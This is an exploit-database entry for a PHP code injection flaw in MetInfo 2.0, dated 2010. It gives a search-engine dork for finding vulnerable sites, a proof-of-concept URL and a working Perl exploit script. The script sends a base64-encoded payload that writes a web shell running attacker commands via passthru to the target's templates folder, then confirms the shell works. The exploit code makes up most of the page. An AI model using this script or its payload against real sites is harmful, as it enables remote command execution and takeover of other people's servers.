[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MetInfo 2.0 PHP Code Injection Vulnerability
# Published : 2010-10-31
# Author : Beach
# Previous Title : MetInfo 3.0 PHP Code Injection Vulnerability
# Next Title : JBI CMS SQL Injection Vulnerability


#####################################################################################################
#Exploit Title¡êoMetInfo 2.0 PHP Code Injection Vulnerability
#Date:2010-10-31
#Author¡êolinux520.com
#Team¡êohttp://www.linux520.com/
#Vendor¡êohttp://www.metinfo.cn/
#Dork¡êo"Powered by  MetInfo  2.0 "  #    Google: 90,000 + results
#Price¡êo free
#Language¡êoPHP
#Greetz¡êoCCAV
#####################################################################################################
+Description¡êo
at 132 line of  ROOTPATH/include/common.inc.php:

eval(base64_decode($class2_all_1[0])); 

$class2_all_1[0]  is not defined ¡ê?so we can inject eval php code
#####################################################################################################
+POC¡êohttp://victim.com/include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)]
#####################################################################################################
+Exploit:

#!/usr/bin/env perl

use LWP::UserAgent;
print "################################################################n";
print "#              MetInfo 2.0 c0de inj3cti0n 3xplo!t              #n";
print "#                         by:linux520.com                      #n";
print "################################################################n";

die "Usage: $0 <target site> Ex:$0 victim.comn" unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');
$user_agent->request($vul_request);
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));
if($response->is_success)
{
	print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";
}
else
{
print "could not connect to $victim";
}
#####################################################################################################